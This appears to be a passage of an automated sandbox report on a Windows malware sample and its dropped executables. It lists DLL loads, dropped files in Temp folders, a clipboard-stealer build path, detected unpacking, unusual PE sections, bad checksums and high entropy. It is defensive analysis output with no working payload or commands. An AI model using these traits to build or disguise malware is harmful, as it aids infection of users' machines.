Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ngcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: authz.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ngcctnrsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ngcctnrgidshandler.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ngcctnr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Directory created: C:\Program Files\TaskbarMonitor
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Directory created: C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Directory created: C:\Program Files\TaskbarMonitor\Newtonsoft.Json.dll
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Directory created: C:\Program Files\TaskbarMonitor\TaskbarMonitorWindows11.exe
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Directory created: C:\Program Files\TaskbarMonitor\TaskbarMonitorInstaller.exe

Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{c7f3d760-a8d1-4fdc-9c74-41bf9112e835}

Source: file.exe

Static file information: File size 1870336 > 1048576

Source: file.exe

Static PE information: Raw size of muzjjppg is bigger than: 0x100000 < 0x196e00

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: ChromiumData.exe.11.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\text\Desktop\taskbar\TaskbarMonitor\obj\Release\TaskbarMonitor.pdb source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF77E000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 00000037.00000002.14534841536.000001FC3961C000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\good\1612916fc5ef4b799f4406315a37b75e\x64\Release\LClipper.pdb source: 926085a3ba.exe, 00000005.00000002.14168576817.000001B532C91000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000005.00000000.14138300705.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 0000000B.00000000.14169186231.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, 926085a3ba.exe, 0000000D.00000002.14318974111.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 0000000D.00000000.14257402050.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000002.14421215483.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000000.14419225512.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 00000034.00000000.14500093550.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, kreon.exe, 00000034.00000002.14502227475.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\good\1612916fc5ef4b799f4406315a37b75e\x64\Release\LClipper.pdbq source: 926085a3ba.exe, 00000005.00000002.14168576817.000001B532C91000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000005.00000000.14138300705.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 0000000B.00000000.14169186231.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, 926085a3ba.exe, 0000000D.00000002.14318974111.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 0000000D.00000000.14257402050.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000002.14421215483.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000000.14419225512.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 00000034.00000000.14500093550.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, kreon.exe, 00000034.00000002.14502227475.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\text\Desktop\taskbar\TaskbarMonitorWindows11\obj\Release\TaskbarMonitorWindows11.pdb source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF85E000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\text\Desktop\taskbar\TaskbarMonitorInstaller\obj\Release\TaskbarMonitorInstaller.pdb source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF8C3000.00000002.00000001.01000000.00000015.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.e90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;muzjjppg:EW;wbgldlky:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;muzjjppg:EW;wbgldlky:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.ba0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;muzjjppg:EW;wbgldlky:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;muzjjppg:EW;wbgldlky:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.ba0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;muzjjppg:EW;wbgldlky:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;muzjjppg:EW;wbgldlky:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Unpacked PE file: 12.2.rodda.exe.fc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fynokkxk:EW;yfghwgxd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fynokkxk:EW;yfghwgxd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Unpacked PE file: 14.2.L.exe.b50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sxqcewcp:EW;qsltisnc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sxqcewcp:EW;qsltisnc:EW;.taggant:EW;

.NET source code contains potential unpacker

Source: 53.0.TaskbarMonitorInstaller.exe.2b1cf646963.1.raw.unpack, LateBoundReflectionDelegateFactory.cs	.Net Code: CreateDefaultConstructor
Source: 53.0.TaskbarMonitorInstaller.exe.2b1cf646963.1.raw.unpack, DynamicUtils.cs	.Net Code: CreateSharpArgumentInfoArray

Source: TaskbarMonitorInstaller[1].exe.4.dr

Static PE information: 0x9F6F20D4 [Tue Oct 6 00:44:04 2054 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: TaskbarMonitorWindows11.exe.53.dr	Static PE information: real checksum: 0x0 should be: 0xdc54d
Source: random[1].exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x37ed59
Source: 926085a3ba.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x37ed59
Source: rodda[1].exe.4.dr	Static PE information: real checksum: 0x1d379c should be: 0x1cf772
Source: VBVEd6f.exe.4.dr	Static PE information: real checksum: 0xfe868 should be: 0x100c18
Source: uxN4wDZ.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xf742f
Source: 0fVlNye.exe.4.dr	Static PE information: real checksum: 0x43515c should be: 0x42fd74
Source: L.exe.4.dr	Static PE information: real checksum: 0x1d7c0b should be: 0x1d2675
Source: uxN4wDZ[1].exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xf742f
Source: vg9qcBa.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xfd4c2
Source: L[1].exe.4.dr	Static PE information: real checksum: 0x1d7c0b should be: 0x1d2675
Source: rodda.exe.4.dr	Static PE information: real checksum: 0x1d379c should be: 0x1cf772
Source: vg9qcBa[1].exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xfd4c2
Source: VBVEd6f[1].exe.4.dr	Static PE information: real checksum: 0xfe868 should be: 0x100c18
Source: 0fVlNye[1].exe.4.dr	Static PE information: real checksum: 0x43515c should be: 0x42fd74
Source: file.exe	Static PE information: real checksum: 0x1cbaf8 should be: 0x1cfeb0
Source: kreon.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x37ed59
Source: skotes.exe.1.dr	Static PE information: real checksum: 0x1cbaf8 should be: 0x1cfeb0
Source: TaskbarMonitor.dll.53.dr	Static PE information: real checksum: 0x0 should be: 0x108541

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: muzjjppg
Source: file.exe	Static PE information: section name: wbgldlky
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: .idata
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: muzjjppg
Source: skotes.exe.1.dr	Static PE information: section name: wbgldlky
Source: skotes.exe.1.dr	Static PE information: section name: .taggant
Source: rodda[1].exe.4.dr	Static PE information: section name:
Source: rodda[1].exe.4.dr	Static PE information: section name: .idata
Source: rodda[1].exe.4.dr	Static PE information: section name:
Source: rodda[1].exe.4.dr	Static PE information: section name: fynokkxk
Source: rodda[1].exe.4.dr	Static PE information: section name: yfghwgxd
Source: rodda[1].exe.4.dr	Static PE information: section name: .taggant
Source: rodda.exe.4.dr	Static PE information: section name:
Source: rodda.exe.4.dr	Static PE information: section name: .idata
Source: rodda.exe.4.dr	Static PE information: section name:
Source: rodda.exe.4.dr	Static PE information: section name: fynokkxk
Source: rodda.exe.4.dr	Static PE information: section name: yfghwgxd
Source: rodda.exe.4.dr	Static PE information: section name: .taggant
Source: L[1].exe.4.dr	Static PE information: section name:
Source: L[1].exe.4.dr	Static PE information: section name: .idata
Source: L[1].exe.4.dr	Static PE information: section name:
Source: L[1].exe.4.dr	Static PE information: section name: sxqcewcp
Source: L[1].exe.4.dr	Static PE information: section name: qsltisnc
Source: L[1].exe.4.dr	Static PE information: section name: .taggant
Source: L.exe.4.dr	Static PE information: section name:
Source: L.exe.4.dr	Static PE information: section name: .idata
Source: L.exe.4.dr	Static PE information: section name:
Source: L.exe.4.dr	Static PE information: section name: sxqcewcp
Source: L.exe.4.dr	Static PE information: section name: qsltisnc
Source: L.exe.4.dr	Static PE information: section name: .taggant
Source: uxN4wDZ[1].exe.4.dr	Static PE information: section name: .00cfg
Source: uxN4wDZ.exe.4.dr	Static PE information: section name: .00cfg
Source: vg9qcBa[1].exe.4.dr	Static PE information: section name: .00cfg
Source: vg9qcBa.exe.4.dr	Static PE information: section name: .00cfg
Source: chromeum[1].exe.11.dr	Static PE information: section name: .didat
Source: chromeum[1].exe.11.dr	Static PE information: section name: .enigma1
Source: chromeum[1].exe.11.dr	Static PE information: section name: .enigma2
Source: ChromiumData.exe.11.dr	Static PE information: section name: .didat
Source: ChromiumData.exe.11.dr	Static PE information: section name: .enigma1
Source: ChromiumData.exe.11.dr	Static PE information: section name: .enigma2

Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA082FE push rax; retf	5_2_00007FF77FA08313
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA08317 push rax; retf	5_2_00007FF77FA08313
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649D142 push es; retn 0000h	12_3_0649D144
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649D142 push es; retn 0000h	12_3_0649D144
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649D142 push es; retn 0000h	12_3_0649D144
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649D142 push es; retn 0000h	12_3_0649D144
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649D142 push es; retn 0000h	12_3_0649D144
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649CF66 push es; iretd	12_3_0649CF68
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649CF66 push es; iretd	12_3_0649CF68
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649CF66 push es; iretd	12_3_0649CF68
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649CF66 push es; iretd	12_3_0649CF68
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649CF66 push es; iretd	12_3_0649CF68
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_06494675 push es; iretd	12_3_06494698
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_06496B06 push B80649CBh; retf	12_3_06496B05
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_06493939 pushfd ; retf	12_3_0649393A
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_06496AC7 push B80649CBh; retf	12_3_06496B05
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_064946E5 push es; ret	12_3_064946F8
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_064991F8 push eax; retf	12_3_06499205
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_06494699 push es; retf	12_3_064946B8
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649D142 push es; retn 0000h	12_3_0649D144
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649D142 push es; retn 0000h	12_3_0649D144
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649D142 push es; retn 0000h	12_3_0649D144
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649D142 push es; retn 0000h	12_3_0649D144
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649D142 push es; retn 0000h	12_3_0649D144
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649CF66 push es; iretd	12_3_0649CF68
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649CF66 push es; iretd	12_3_0649CF68
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649CF66 push es; iretd	12_3_0649CF68
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649CF66 push es; iretd	12_3_0649CF68
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_0649CF66 push es; iretd	12_3_0649CF68
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_01AB1EF6 push cs; iretd	12_3_01AB1EF7
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_01AA535D push esp; ret	12_3_01AA535E

Source: file.exe	Static PE information: section name: entropy: 7.9801769505302085
Source: file.exe	Static PE information: section name: muzjjppg entropy: 7.955315833792344
Source: skotes.exe.1.dr	Static PE information: section name: entropy: 7.9801769505302085
Source: skotes.exe.1.dr	Static PE information: section name: muzjjppg entropy: 7.955315833792344
Source: rodda[1].exe.4.dr	Static PE information: section name: entropy: 7.976184535823101
Source: rodda[1].exe.4.dr	Static PE information: section name: fynokkxk entropy: 7.953262632034291
Source: rodda.exe.4.dr	Static PE information: section name: entropy: 7.976184535823101
Source: rodda.exe.4.dr	Static PE information: section name: fynokkxk entropy: 7.953262632034291
Source: L[1].exe.4.dr	Static PE information: section name: entropy: 7.984469932221084
